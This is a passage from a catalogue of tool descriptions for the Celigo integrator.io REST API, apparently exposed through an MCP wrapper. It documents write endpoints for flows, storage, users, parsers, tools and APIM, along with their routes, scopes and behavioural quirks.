/api/v1/celigo/v1/mcpoauthproviders. Scopes: api. celigo_post_v1_mcpservers (write) — Create an MCP server -- Creates an MCP server. The server is created disabled by default. `name` and `relativeURI` are the only required fields; `relativeURI` must be unique per account. via POST /v1/mcpservers POST /api/v1/celigo/v1/mcpservers. Scopes: api. celigo_post_v1_pageprocessors_preview (write) — Preview the output of a flow's page processor -- Runs a flow's page generators and page processors through the preview pipeline and returns the record arriving at a specific page-processor node, with the whole upstream chain applied server-side: the source export executes live (its transform, output filter, and preSavePage hook are applied), router branch filters and step input filters gate the records, upstream lookups execute live unless a saved `mockOutput` is present (a saved mock always wins), and upstream imports are NEVER executed — each substitutes its saved `mockResponse`, or a platform placeholder when none is saved, before its response mapping and postResponseMap hook run. A target IMPORT obeys its map entry's options flag: `{preview: true}` composes the request and returns it without sending, while `{sendAndPreview: true}` (the import editor's "Send" button) executes it against the live destination — a real write. A target LOOKUP executes its live query (even when it carries a saved `mockOutput` — the mock substitutes only when the lookup is upstream of the target). With `includeStages: false` the response is the bare result object rather than the `{data, stages}` envelope. Body carries the flow shape plus resolved maps of page-generator and page-processor docs keyed by `_id`. The server uses those maps as the source of truth for the preview — it does not read the persisted flow doc, so callers can pass modified versions to "what-if" iterate. The body field is `flow` (the API's error message referencing `flowDoc` is stale). Every entry referenced by `flow.pageGenerators[]._exportId` must exist in `pageGeneratorMap` keyed by that id, wrapped as `{doc, options}`; same for `pageProcessorMap`. Set `includeStages: true` to get the stage-by-stage diagnostic array. No job is created and no flow state changes; live calls are limited to the source export, un-mocked upstream lookups, the target lookup, and — only under `sendAndPreview` — the target import. Upstream imports never call out. via POST /v1/pageProcessors/preview POST /api/v1/celigo/v1/pageProcessors/preview. Scopes: api. celigo_post_v1_processors_csvdatagenerator (write) — Generate CSV from JSON -- Generates CSV output from JSON records using the specified delimiter and formatting rules. The response always has `mediaType: "text"` and does not include `dataRecordTraceKeys` or `traceKeysDuplicate`. This is a stateless transformation. via POST /v1/processors/csvDataGenerator POST /api/v1/celigo/v1/processors/csvDataGenerator. Scopes: api. celigo_post_v1_processors_csvparser (write) — Convert CSV to JSON -- Parses CSV data into JSON records using the specified delimiter and formatting rules. Both `data` and `rules` are technically optional — omitting either returns an empty result rather than an error. When `hasHeaderRow` is false, columns are named `Column0`, `Column1`, etc. When `includeEmptyValues` is true, missing values become JSON `null` instead of being omitted from the record. When `groupByFields` is used the response shape changes: `data` becomes an array of arrays (grouped records) and the `dataRecordTraceKeys` / `traceKeysDuplicate` fields are omitted. This is a stateless transformation. All values are returned as strings, even numeric CSV columns. via POST /v1/processors/csvParser POST /api/v1/celigo/v1/processors/csvParser. Scopes: api. celigo_post_v1_processors_structuredfilegenerator (write) — Generate structured file (EDI) from JSON -- Generates EDI or other structured/delimited file content from JSON records using a file definition (generation rules). Commonly used for producing X12 and EDIFACT documents. Unlike the parser endpoint, the generator places file definition fields directly in `rules` (no `fileDefinition` wrapper). Each element in the definition must include a `value` property containing the literal text to output for that field. The `data` field must be an array of objects. Each object in the array represents one document to generate. The response has `mediaType: "text"` and does not include `dataRecordTraceKeys` or `traceKeysDuplicate`. **Required file definition fields** — `name`, `version` (string `"1"` or `"2"`), `format`, the format sub-object with `rowDelimiter` + `colDelimiter` (and optionally `rowSuffix`), and `rules` defining segments with elements that each have `name` and `value`. This is a stateless transformation. File definition fields go directly in `rules` (no `fileDefinition` wrapper, unlike the parser endpoint). via POST /v1/processors/structuredFileGenerator POST /api/v1/celigo/v1/processors/structuredFileGenerator. Scopes: api. celigo_post_v1_processors_structuredfileparser (write) — Parse structured file (EDI) to JSON -- Parses EDI or other structured/delimited file data into JSON using a file definition (parsing rules). Commonly used for X12 and EDIFACT documents. The file definition must be provided inside a `rules.fileDefinition` wrapper object, or referenced by ID via `rules._fileDefinitionId`. This differs from the generator endpoint which places definition fields directly in `rules`. The response includes a `recordLevelErrors` array not present on other processor responses. This is a stateless transformation. Provide the file definition inline via `rules.fileDefinition` or reference an existing one via `rules._fileDefinitionId` (not both). The generator endpoint places definition fields directly in `rules` (no `fileDefinition` wrapper). **Required file definition fields** — `name`, `version` (string `"1"` or `"2"`), `format` (`delimited`, `delimited/x12`, `delimited/edifact`, or `fixed`), and the corresponding format sub-object (`delimited` or `fixed`) with at least `rowDelimiter` and `colDelimiter` (for delimited) or `rowDelimiter` and `paddingChar` (for fixed). The `rules` property defines the segment/element hierarchy. via POST /v1/processors/structuredFileParser POST /api/v1/celigo/v1/processors/structuredFileParser. Scopes: api. celigo_post_v1_processors_xmlparser (write) — Convert XML to JSON -- Parses XML data into JSON records using the specified parsing rules and resource path. **Resource path format** — Use XPath-style slash-separated paths (e.g. `/root/item`). Dot-separated paths (e.g. `root.item`) do not work. **Legacy vs modern output** — Without `doc.parsers` configured, or with `V0_json: true`, the parser produces a legacy format where element text appears as `[{"_": "value"}]` arrays and attributes appear under a `$` key. Setting `V0_json: false` produces clean key-value pairs and flattens attributes into the record. When `groupByFields` is used the response shape changes: `data` becomes an array of arrays and `dataRecordTraceKeys` / `traceKeysDuplicate` are omitted. Invalid XML returns a 422 with code `cannot_parse_xml`. Namespaced XPath expressions (e.g. `ns:element`) return a 422 with code `invalid_xpath`. via POST /v1/processors/xmlParser POST /api/v1/celigo/v1/processors/xmlParser. Scopes: api. celigo_post_v1_published_combined (write) — List Integration Apps and Templates together -- Returns a unified array of **all** marketplace content — both Integration Apps (`docType: Connector`) and Templates (`docType: Template`). Each entry carries the `docType` discriminator so callers can partition. Despite being a POST, this is a **read-only, safe** endpoint — the body is an empty `{}` in the default CLI invocation. POST is used purely to carry sort and filter parameters that don't fit cleanly in a query string. The route is POST-only. Always send `Content-Type: application/json` with at least `{}` as the body. For Connector-only listings, `GET /v1/published` is lighter. via POST /v1/published/combined POST /api/v1/celigo/v1/published/combined. Scopes: api. celigo_post_v1_recyclebinttl_by_resourcetype_by_id (write) — Restore a deleted resource -- Restores a single resource from the recycle bin back to the account's active resources. Any request body is ignored. Standalone restore is blocked if a child resource is still in the recycle bin. To restore a resource along with all of its dependents (child flows, exports, imports, etc.), use the cascade-restore endpoint instead. via POST /v1/recycleBinTTL/{_resourceType}/{_id} POST /api/v1/celigo/v1/recycleBinTTL/{_resourceType}/{_id}. Scopes: api. celigo_post_v1_recyclebinttl_by_resourcetype_by_id_docascaderestore (write) — Cascade-restore a deleted resource -- Restores a resource from the recycle bin along with all of its dependent resources (child flows, exports, imports, connections, scripts, etc.). Any request body is ignored. Prefer this over standalone restore when restoring integrations or flows. This path uses `resourceType` (no leading underscore), unlike the other recycle bin paths which use `_resourceType`. via POST /v1/recycleBinTTL/{resourceType}/{_id}/doCascadeRestore POST /api/v1/celigo/v1/recycleBinTTL/{resourceType}/{_id}/doCascadeRestore. Scopes: api. celigo_post_v1_roles (write) — Create a role -- Creates a role. Role names must be unique within the account (case-insensitive), and `resourceGrants._resourceId` values must reference resources owned by the same account. Requires account owner or administrator access. via POST /v1/roles POST /api/v1/celigo/v1/roles. Scopes: api. celigo_post_v1_scripts (write) — Create a script -- Creates a new script. via POST /v1/scripts POST /api/v1/celigo/v1/scripts. Scopes: api. celigo_post_v1_stacks (write) — Create a stack -- Creates a new stack. For server stacks, retrieve the system token after creation via `GET /v1/stacks/{_id}/systemToken`. via POST /v1/stacks POST /api/v1/celigo/v1/stacks. Scopes: api. celigo_post_v1_storage_files_by_id_cancel (write) — Cancel a multipart upload -- Aborts an in-progress multipart upload, discarding any uploaded parts and releasing the reserved quota. Use this to abandon a multipart upload started with `POST /v1/storage/files/initiateUpload`; single PUT uploads do not need canceling. If the upload has in fact already completed in S3, the item is activated instead and the request is rejected as not pending. via POST /v1/storage/files/{_id}/cancel POST /api/v1/celigo/v1/storage/files/{_id}/cancel. Scopes: api. celigo_post_v1_storage_files_initiateupload (write) — Initiate file upload -- Starts one or more file uploads. For each file, reserves quota, creates a pending item, and returns presigned S3 URLs to transfer the bytes to: a single PUT URL for files up to 5 GB, or a multipart `uploadId`, `partUrls`, and `completeUrl` for larger files. Upload the bytes directly to those URLs, then the item flips to active once S3 confirms it — no further API call is needed. URLs expire after one hour; reissue them with `POST /v1/storage/files/refresh-urls`. Each file is validated independently, so the response can mix per-file successes and failures while the request itself returns 200. via POST /v1/storage/files/initiateUpload POST /api/v1/celigo/v1/storage/files/initiateUpload. Scopes: api. celigo_post_v1_storage_files_refresh_urls (write) — Refresh upload URLs -- Reissues presigned upload URLs for pending uploads whose URLs have expired (URLs last one hour). For a single PUT, returns a fresh upload URL; for multipart, returns fresh URLs for the requested part numbers plus the complete URL. Already-uploaded parts are preserved. Each item is processed independently. via POST /v1/storage/files/refresh-urls POST /api/v1/celigo/v1/storage/files/refresh-urls. Scopes: api. celigo_post_v1_storage_items (write) — Create a folder -- Creates an empty folder. Folders are organizational only — they hold no content and do not count against storage quota. To create files, use `POST /v1/storage/files/initiateUpload`. via POST /v1/storage/items POST /api/v1/celigo/v1/storage/items. Scopes: api. celigo_post_v1_storage_items_batch (write) — Look up items in batch -- Returns metadata for up to 100 items in one call. Send the item ids and optionally a `fields` projection; by default each result carries only `_id`. Requesting `path` adds a breadcrumb path built from the item's ancestor folder names. With `failFast: true` (the default), the first unknown id fails the whole request with `422 STORAGE_BATCH_ITEM_NOT_FOUND`. With `failFast: false`, unknown ids come back inline as `{_id, notFound: true, reason: "STORAGE_BATCH_ITEM_NOT_FOUND"}` entries alongside the found items. via POST /v1/storage/items/batch POST /api/v1/celigo/v1/storage/items/batch. Scopes: api. celigo_post_v1_storage_items_by_id_copy (write) — Copy a file -- Creates an independent copy of a file in a destination folder, with a new `_id` and its own copy of the content. Consumes quota equal to the source file's size. Files only — folder copy is not supported. Names are not deduplicated, so copying into the source's own folder without a new name produces a second file with the same name. via POST /v1/storage/items/{_id}/copy POST /api/v1/celigo/v1/storage/items/{_id}/copy. Scopes: api. celigo_post_v1_storage_items_by_id_merge (write) — Merge a folder into another -- Merges the contents of a source folder into an existing destination folder, then removes the source. Runs asynchronously: the request is validated and queued, and the endpoint immediately returns `202` with a job receipt — contents move in the background and the source folder disappears once the merge completes. A soft-deleted source folder may be merged, which restores its contents into the destination. Folders only — move individual files with the move endpoint. Requires delete access on the source folder and write access on the destination. via POST /v1/storage/items/{_id}/merge POST /api/v1/celigo/v1/storage/items/{_id}/merge. Scopes: api. celigo_post_v1_storage_items_by_id_restore (write) — Restore an item -- Restores a soft-deleted item from the recycle bin back to its original location. Restoring a folder also restores the descendants that were removed with it; the folder comes back immediately and its descendants follow asynchronously. Only items deleted directly can be restored — a descendant removed by its parent's deletion comes back only when that parent folder is restored. via POST /v1/storage/items/{_id}/restore POST /api/v1/celigo/v1/storage/items/{_id}/restore. Scopes: api. celigo_post_v1_storage_items_move (write) — Move items in bulk -- Moves up to 100 files or folders into one destination folder (or the account root) in a single call. Metadata only — content stays in place, ids are unchanged, and quota is unaffected. Folders re-parent immediately and re-anchor their descendants asynchronously. The destination is validated once up front — a bad destination rejects the whole batch. Each source id is then processed best-effort: the response is `200` when every item moved, or `207` when results are mixed, with a per-id `status` of `success` or `error`. An optional `name` renames the item as it lands (single-id requests only) so a destination name collision can be resolved without a second call. via POST /v1/storage/items/move POST /api/v1/celigo/v1/storage/items/move. Scopes: api. celigo_post_v1_syncs (write) — Create a sync -- Creates a sync inside an integration. Only `_integrationId` and `source._connectionId` are required — new syncs start as disabled drafts, so the destination, datasets, and schedule can be configured with later requests. Creating a sync also registers its connections for the platform's replication runtime. via POST /v1/syncs POST /api/v1/celigo/v1/syncs. Scopes: api. celigo_post_v1_syncs_by_syncid_run (write) — Trigger a sync run -- Queues an on-demand run of a sync and returns identifiers for the new sync job. The run is **asynchronous**: the response returns as soon as the job is queued. Use `GET /v1/syncJobs/{_syncJobId}` or `GET /v1/syncs/{_syncId}/syncJobs` to poll for terminal status. By default the run type is `"normal"` (incremental delta). Pass `runType: "resync"` to force a full re-extraction from the source, which drops the delta checkpoint and reloads all data. Preconditions enforced by the platform: - The sync must not be disabled (`422 invalid_sync`). - There must not be a job already queued for this sync (`409 sync_job_already_queued`). The returned `flowExecutionGroupId` is a correlation key across jobs and errors. For multi-table syncs, a single run creates one parent job with per-table children visible via `GET /v1/syncJobs/{_syncJobId}/family`. via POST /v1/syncs/{_syncId}/run POST /api/v1/celigo/v1/syncs/{_syncId}/run. Scopes: api. celigo_post_v1_tags (write) — Create a tag -- Creates a new tag in the account's tag catalog. The server generates an immutable short `tagId` code automatically. Tag names are case-insensitively unique within the account — a case-variant duplicate is rejected with HTTP 422 `[create_not_allowed]` "A tag with this name already exists." Per Celigo's documentation, the catalog holds at most 1,000 unique tags per account. Note the per-error limit is separate and much smaller: a single error carries at most 3 tags (see `PUT /v1/flows/{_id}/{_stepId}/tags`). via POST /v1/tags POST /api/v1/celigo/v1/tags. Scopes: api. celigo_post_v1_templates (write) — Create a template -- Creates a new integration template. Only `name` is required; all other fields are optional. Upload a zip via `GET /v1/s3SignedURL` before attempting to publish. via POST /v1/templates POST /api/v1/celigo/v1/templates. Scopes: api. celigo_post_v1_tools (write) — Create a tool -- Creates a new tool within an integration. `name` and `_integrationId` are required. Routers use `first_matching_branch` strategy only, and each branch's `nextRouterId` must point to another router's `id` or `"outputRouter"` to exit the tool. via POST /v1/tools POST /api/v1/celigo/v1/tools. Scopes: api. celigo_post_v1_tools_by_id_clone (write) — Clone a tool -- Creates a copy of a tool in the target integration and returns a manifest of the resources the clone created. The clone records its lineage in `_sourceId`, which places it in the source tool's clone family. The target integration is never inferred from the source tool — pass the source tool's own integration id to clone in place. Use `GET /v1/tools/{_id}/clone/preview` first to see what the clone would create. via POST /v1/tools/{_id}/clone POST /api/v1/celigo/v1/tools/{_id}/clone. Scopes: api. celigo_post_v1_tools_by_id_invoke (write) — Invoke a Tool synchronously -- Executes a Tool synchronously and returns the mapped output (or errors). Optional `x-log-mode` enables enterprise invocation logging. When logging is active for the run, the response includes `invocationId` — use that value as `{executionId}` with `GET /v1/tools/{_id}/invocations/{executionId}`. Sandbox Tools return `403` when logging is attempted. via POST /v1/tools/{_id}/invoke POST /api/v1/celigo/v1/tools/{_id}/invoke. Scopes: api. celigo_post_v1_tools_by_id_test_run (write) — Run a tool in test mode -- Synchronously executes a tool in test mode and returns the run metadata together with the resulting flow job and its child jobs. Use this to validate a tool's routing and step configuration before referencing it from a flow, API, agent, or MCP server. The request body is optional. When supplied, wrap the test input in an `input` key (`{"input": {...}}`) matching the tool's input contract. The run does not read the tool's saved `input.mockInput` — without a wrapped `input` the tool executes against an empty input record. The `metadata` object in the response maps each step id to the ordered list of stage names that ran for that step; use those ids with `GET /v1/tools/{_id}/test/run/{runId}/{_stepId}` to inspect stage-by-stage results. The run id for follow-up calls is the `flowJob._id` value. Test runs are a separate, short-lived history from normal runs — capture any follow-up step or log details soon after the run completes. via POST /v1/tools/{_id}/test/run POST /api/v1/celigo/v1/tools/{_id}/test/run. Scopes: api. celigo_post_v1_tpconnectors (write) — Create a trading partner connector -- Creates a new trading partner connector. Only `name` is required. Setting `published: true` requires the `allowedToPublishTPConnectors` permission; without it the field is silently ignored. via POST /v1/tpconnectors POST /api/v1/celigo/v1/tpconnectors. Scopes: api. celigo_put_v1_agents_by_id (write) — Update an on-premise agent -- Replaces an on-premise agent's mutable fields. Only `name` and `description` are mutable — system-managed fields (`version`, `offline`, `port`, etc.) are ignored on PUT. via PUT /v1/agents/{_id} PUT /api/v1/celigo/v1/agents/{_id}. Scopes: api. celigo_put_v1_agents_by_id_change_token (write) — Rotate on-premise agent access token -- Regenerates the access token and returns the new value. The previous token is immediately invalidated — the running agent process will disconnect, so update the agent's configuration with the new token before it attempts to reconnect. This is irreversible. via PUT /v1/agents/{_id}/change-token PUT /api/v1/celigo/v1/agents/{_id}/change-token. Scopes: api. celigo_put_v1_apim_by_modelplural_by_id_manageapi (write) — Publish resource to existing APIM API -- Publishes an integrator.io resource to an existing APIM API. Requires `apim:operations` permission and an enabled APIM license. Upstream API management errors may be returned with the upstream HTTP status. via PUT /v1/apim/{modelPlural}/{_id}/manageAPI PUT /api/v1/celigo/v1/apim/{modelPlural}/{_id}/manageAPI. Scopes: api. celigo_put_v1_apim_hrid_validate (write) — Validate APIM environment HRID -- Checks whether an environment HRID is available for APIM configuration. Production environment only. via PUT /v1/apim/hrid/validate PUT /api/v1/celigo/v1/apim/hrid/validate. Scopes: api. celigo_put_v1_apim_setup (write) — Update APIM account settings -- Updates the service account email for an existing APIM account configuration. Production environment only. Requires `apim:operations` permission. via PUT /v1/apim/setup PUT /api/v1/celigo/v1/apim/setup. Scopes: api. celigo_put_v1_apim_validate (write) — Validate APIM subdomain -- Checks whether a subdomain is available for APIM account setup. Production environment only. via PUT /v1/apim/validate PUT /api/v1/celigo/v1/apim/validate. Scopes: api. celigo_put_v1_apis_by_id (write) — Update an API -- Replaces the full API configuration. Send the complete object -- omitted fields revert to defaults, not their prior values. Read-only fields (`_id`, `createdAt`, `lastModified`) in the request body are ignored. `logging` is also ignored -- silently: a PUT that includes `logging` succeeds with the stored value unchanged, and no error reveals that the change was dropped. Use `PATCH /v1/apis/{_id}` (paths `/logging/mode`, `/logging/debugUntil`) to change logging settings. via PUT /v1/apis/{_id} PUT /api/v1/celigo/v1/apis/{_id}. Scopes: api. celigo_put_v1_apis_schema (write) — Convert a JSON object to JSON Schema -- Accepts a sample JSON object and returns its inferred JSON Schema definition. Useful for bootstrapping `bodySchema` in builder-mode APIs from real payload samples. Input must be a non-empty JSON object -- arrays and primitives are rejected. The generated schema is shallow (one level of `properties`); nested objects become `type: "object"` without further property inference. via PUT /v1/apis/schema PUT /api/v1/celigo/v1/apis/schema. Scopes: api. celigo_put_v1_apis_updateapigrouping (write) — Update the grouping for one or more APIs -- Assigns or removes an API grouping for the specified API resources. Pass `_apiGroupingId: null` to ungroup. Nonexistent API IDs are silently accepted. via PUT /v1/apis/updateApiGrouping PUT /api/v1/celigo/v1/apis/updateApiGrouping. Scopes: api. celigo_put_v1_ashares_by_id (write) — Update a user -- Update a user's access level, integration permissions, or account settings. The user's email cannot be changed after invite. To disable a user without deleting, use `PUT /v1/ashares/{_id}/disable` instead. via PUT /v1/ashares/{_id} PUT /api/v1/celigo/v1/ashares/{_id}. Scopes: api. celigo_put_v1_ashares_by_id_reinvite (write) — Reinvite a user who dismissed their invite -- Re-sends the invitation to a user who previously dismissed it. Only works on users with `dismissed: true` in the user record. After reinviting, the user returns to a pending state awaiting acceptance. via PUT /v1/ashares/{_id}/reinvite PUT /api/v1/celigo/v1/ashares/{_id}/reinvite. Scopes: api. celigo_put_v1_ashares_by_userid_disable (write) — Toggle a user's account access (disable or re-enable) -- Toggles the `disabled` flag on a user's access record. Call again to re-enable — there is no separate `/enable` path. Only works on users with `accepted: true`. via PUT /v1/ashares/{_userId}/disable PUT /api/v1/celigo/v1/ashares/{_userId}/disable. Scopes: api. celigo_put_v1_asynchelpers_by_id (write) — Update an async helper -- Updates an existing async helper with the provided data. This is a full replacement — all required fields must be included in the request body. via PUT /v1/asynchelpers/{_id} PUT /api/v1/celigo/v1/asynchelpers/{_id}. Scopes: api. celigo_put_v1_by_resourcetype_by_resourceid_state_by_key (write) — Create or update a resource-scoped state value -- Sets the value for a state key under a specific resource. Creates the key if it does not exist; replaces the value if it does. The request body must be a non-empty JSON object or array. Bare JSON primitives (strings, numbers, booleans, `null`) and empty containers (`{}`, `[]`) are rejected. Only `exports`, `imports`, and `integrations` support resource-scoped state. This is an upsert — check the status code to distinguish create (201) from update (200). The response body is plain text, not JSON. via PUT /v1/{resourceType}/{_resourceId}/state/{key} PUT /api/v1/celigo/v1/{resourceType}/{_resourceId}/state/{key}. Scopes: api. celigo_put_v1_connections_by_id (write) — Update a connection -- Updates an existing connection configuration. This is a full-replace operation — send the complete connection document, not just the fields you want to change. via PUT /v1/connections/{_id} PUT /api/v1/celigo/v1/connections/{_id}. Scopes: api. celigo_put_v1_connections_by_id_metadata (write) — Query metadata for a connection (RDBMS catalog or HTTP passthrough) -- Fetches metadata from the system behind the connection. The request and response are bimodal, chosen by the connection's type: - rdbms / jdbc — runs a live catalog lookup. Send the `rdbms` wrapper (`type: tables` or `columns`). `type: rdbms` returns a `{results: [...]}` envelope of `{database, schema, table}` items, with a `columns[]` array of driver type metadata for column queries; `type: jdbc` returns a bare array with leaner column metadata and a `primaryKeys[]` sibling. Results are cached — pass `refreshCache: true` to bypass and repopulate (use sparingly). - http — signs and forwards an HTTP request through the connection's auth and `baseURI` (send the `http` wrapper with a `body`), returning the target's raw, opaque response. Used for GraphQL introspection and REST endpoint discovery. Send the wrapper that matches the connection type; the wrong wrapper is a validation error. Empty RDBMS results are legitimate — empty cache, missing catalog permissions, or no columns. via PUT /v1/connections/{_id}/metadata PUT /api/v1/celigo/v1/connections/{_id}/metadata. Scopes: api. celigo_put_v1_connectors_by_id (write) — Update a connector -- Full-replaces a connector resource. **Partner-only endpoint.** via PUT /v1/connectors/{_id} PUT /api/v1/celigo/v1/connectors/{_id}. Scopes: api. celigo_put_v1_connectors_by_id_licenses_by_licenseid (write) — Update a license -- Updates an existing license for a connector (e.g. change expiry or edition). **Partner-only endpoint.** via PUT /v1/connectors/{_id}/licenses/{_licenseId} PUT /api/v1/celigo/v1/connectors/{_id}/licenses/{_licenseId}. Scopes: api. celigo_put_v1_connectors_by_id_update (write) — Push update to connector installations -- Pushes an update to all (or specified) installations of this connector. Triggers the connector's `updateFunction` on each target integration. **Partner-only endpoint.** via PUT /v1/connectors/{_id}/update PUT /api/v1/celigo/v1/connectors/{_id}/update. Scopes: api. celigo_put_v1_ediprofiles_by_id (write) — Update an EDI profile -- Updates an existing EDI profile. `fileType` cannot be changed after creation. Omitted fields are cleared to defaults. via PUT /v1/ediprofiles/{_id} PUT /api/v1/celigo/v1/ediprofiles/{_id}. Scopes: api. celigo_put_v1_environments_by_id (write) — Update an environment -- Replaces an environment's mutable fields (`name`, `description`, `apim`). To enable or disable an environment, use the toggle endpoint instead. via PUT /v1/environments/{_id} PUT /api/v1/celigo/v1/environments/{_id}. Scopes: api. celigo_put_v1_environments_by_id_enable (write) — Toggle an environment on or off -- Toggles the enabled state of an environment -- a disabled environment becomes enabled and vice versa. The Production environment cannot be disabled, and pending user invitations must be resolved before disabling any environment. Requires a `Content-Type: application/json` header even though no request body is needed. via PUT /v1/environments/{_id}/enable PUT /api/v1/celigo/v1/environments/{_id}/enable. Scopes: api. celigo_put_v1_eventreports_by_id_cancel (write) — Cancel an event report -- Cancels a queued or running event report. The report's `status` transitions to `canceled`. No request body is needed. Idempotent for reports already in `canceled` status. A `completed` report cannot be canceled, and canceled reports cannot be resumed -- create a new one instead. via PUT /v1/eventreports/{_id}/cancel PUT /api/v1/celigo/v1/eventreports/{_id}/cancel. Scopes: api. celigo_put_v1_exports_by_id (write) — Update an export -- Updates an existing export with the provided configuration. This is used for major updates to an export's structure or behavior. via PUT /v1/exports/{_id} PUT /api/v1/celigo/v1/exports/{_id}. Scopes: api. celigo_put_v1_exports_by_id_replaceconnection (write) — Replace connection on export present in a flow -- Replaces the connection used by an export in a flow and cancels any running jobs. This is useful when migrating flows between environments or updating to newer connection versions. via PUT /v1/exports/{_id}/replaceConnection PUT /api/v1/celigo/v1/exports/{_id}/replaceConnection. Scopes: api. celigo_put_v1_filedefinitions_by_id (write) — Update a file definition -- Replaces the file definition with the provided configuration. This is a full replace -- include all fields you want to keep. `format` cannot be changed between `fixed` and `delimited` families after creation, and `globalId` is immutable for EDI formats. via PUT /v1/filedefinitions/{_id} PUT /api/v1/celigo/v1/filedefinitions/{_id}. Scopes: api. celigo_put_v1_flowexecutiongroups_by_id_cancel (write) — Cancel a flow execution group -- Cancels all remaining jobs in a flow execution group. Execution groups are created when multiple flows are triggered together (e.g. via integration-level run or chained flows) and share a common group identifier. The response varies depending on whether there were jobs left to cancel: - **200** with `{"message": "No more jobs to cancel"}` when no in-progress jobs remain. - **204** with no body when cancellation was successfully requested. This endpoint is not scoped to a specific flow — the `_id` parameter is the execution group id, not a flow id. Any string is accepted as the id (the server does not validate that the group exists before responding). Unknown or already-completed group ids return 404 `resource_not_found` — only groups with cancellable (queued/running) jobs are accepted. via PUT /v1/flowExecutionGroups/{_id}/cancel PUT /api/v1/celigo/v1/flowExecutionGroups/{_id}/cancel. Scopes: api. celigo_put_v1_flows_by_id (write) — Update a flow -- Replaces the entire flow configuration. All fields not included in the request body are reset to defaults — this is a full replace, not a merge. Always `GET` the flow first, modify the response, and `PUT` back — sending a partial body erases omitted fields. To change a single field (e.g. `disabled`, `schedule`), prefer `PATCH` over `PUT`. Read-only fields (`_id`, `createdAt`, `lastModified`) in the request body are silently ignored. via PUT /v1/flows/{_id} PUT /api/v1/celigo/v1/flows/{_id}. Scopes: api. celigo_put_v1_flows_by_id_by_stepid_by_retrydatakey_data (write) — Update the stored retry-data snapshot for an error -- **Full-replace** of the stored per-record snapshot. The body becomes the new payload that `POST .../retry` will feed back into the pipeline. Same envelope shape as the matching GET — send the whole object (not just `data`), optionally mutated. The typical workflow is: `GET .../{retryDataKey}/data`, mutate `data` locally, `PUT` the whole envelope back, then `POST .../retry` with the same `retryDataKey`. Send the complete envelope — omitted fields are lost, and `retryDataKey`, `stage`, `pgExportId` must match the original GET. Editing the snapshot does not clear the error; it stays open until a subsequent retry or manual resolve. via PUT /v1/flows/{_id}/{_stepId}/{retryDataKey}/data PUT /api/v1/celigo/v1/flows/{_id}/{_stepId}/{retryDataKey}/data. Scopes: api. celigo_put_v1_flows_by_id_by_stepid_errors_assign (write) — Assign open errors to a user -- Tags a batch of open errors with an assignee for triage workflows. The errors stay open — this does not resolve or retry them — they simply appear in the assignee's "my errors" view until another action moves them. The `email` value is accepted verbatim and is not validated against the account's user list. Re-assigning the same batch to a different user overwrites the prior assignment. Use `PUT .../errors/unassign` to remove assignments entirely. via PUT /v1/flows/{_id}/{_stepId}/errors/assign PUT /api/v1/celigo/v1/flows/{_id}/{_stepId}/errors/assign. Scopes: api. celigo_put_v1_flows_by_id_by_stepid_errors_unassign (write) — Remove assignment from open errors -- Removes the assignee from a batch of open errors. The errors remain open — this is the inverse of `PUT .../errors/assign`. Non-existent error ids are silently ignored (no error raised). The response's `errorsToReturn` contains only ids that were actually unassigned — ids that were already unassigned or don't exist are omitted. via PUT /v1/flows/{_id}/{_stepId}/errors/unassign PUT /api/v1/celigo/v1/flows/{_id}/{_stepId}/errors/unassign. Scopes: api. celigo_put_v1_flows_by_id_by_stepid_resolved (write) — Mark open errors as resolved -- Moves a batch of currently-open errors to the resolved list. The underlying records are unchanged — no retry happens; this is purely an administrative state change used to clear the open-errors queue after a user has reviewed the failures and decided they're not actionable. To actually re-run the failed records, use `POST .../retry` instead. The request body field is named `errors` (carrying error ids), not `errorIds`. To clear the whole open-error queue in one call without listing ids, send `selectAll: true` with a `lastErrorAt` high-water mark instead of `errors`. via PUT /v1/flows/{_id}/{_stepId}/resolved PUT /api/v1/celigo/v1/flows/{_id}/{_stepId}/resolved. Scopes: api. celigo_put_v1_flows_by_id_by_stepid_tags (write) — Set tags on a batch of errors -- **Full-replace** per-error: for each `(errorId, retryDataKey)` in the body, the stored tag set is replaced with `tagIds`. Pass `tagIds: []` to clear all tags from the listed errors. Tags are account-scoped short codes (from `GET /v1/tags`) — not free-form strings. The `tagId` you send here is the short code (e.g. `F3ZBQ`), **not** the tag document's Mongo `_id`. The errors batch uses short keys (`id` = errorId, `rdk` = retryDataKey) to minimize body size. Use `rdk: ""` for errors without a `retryDataKey` (connection-class errors). This endpoint replaces the full tag set per error — to add a tag without removing existing ones, merge client-side first. via PUT /v1/flows/{_id}/{_stepId}/tags PUT /api/v1/celigo/v1/flows/{_id}/{_stepId}/tags. Scopes: api. celigo_put_v1_flows_by_id_replaceconnection (write) — Replace a connection across a flow -- Replaces every occurrence of one connection with another across all exports, imports, and lookups in the flow. This is the recommended way to swap connections during environment promotion (e.g. credential rotation) — it updates all references atomically instead of requiring per-resource PUTs. The replacement connection must exist and be of the same adaptor type as the original. If the types do not match, the request is rejected with a 422. Use `GET /v1/flows/{_id}/descendants` to verify which resources use a given connection before replacing. via PUT /v1/flows/{_id}/replaceConnection PUT /api/v1/celigo/v1/flows/{_id}/replaceConnection. Scopes: api. celigo_put_v1_flows_updateflowgrouping (write) — Assign flows to a flow group -- Assigns one or more flows to a flow-grouping (section) within their integration. This is the collection-level endpoint used by the UI's "move to section" action — it updates multiple flows in a single call rather than requiring a per-flow `PUT /v1/flows/{_id}` with a modified `_flowGroupingId`. The flows referenced in `_flowIds` must all belong to the same integration as the target `_flowGroupingId`. Pass `_flowGroupingId: null` (or an empty string, depending on platform version) to remove the flows from their current group back to the integration's default section. Flow groupings are managed on the parent integration (`PUT /v1/integrations/{_id}` with a modified `flowGroupings[]` array) — create the group first, then call this to populate it. via PUT /v1/flows/updateFlowGrouping PUT /api/v1/celigo/v1/flows/updateFlowGrouping. Scopes: api. celigo_put_v1_groups_by_id (write) — Update a group -- Replaces the group's writable fields. Prefer resending the complete object — omitted fields are not preserved. Requires account owner or administrator access. via PUT /v1/groups/{_id} PUT /api/v1/celigo/v1/groups/{_id}. Scopes: api. celigo_put_v1_httpconnectors_by_id (write) — Update an HTTP connector -- Replaces the HTTP Connector with the provided fields. via PUT /v1/httpconnectors/{_id} PUT /api/v1/celigo/v1/httpconnectors/{_id}. Scopes: api. celigo_put_v1_iclients_by_id (write) — Update an iClient -- Replaces an iClient. All mutable fields must be provided — omitted fields are reset to defaults. Secrets returned as `"******"` can be sent back as-is to keep the existing value. via PUT /v1/iclients/{_id} PUT /api/v1/celigo/v1/iclients/{_id}. Scopes: api. celigo_put_v1_imports_by_id (write) — Update an import -- Updates an existing import with the provided configuration. This is used for major updates to an import's 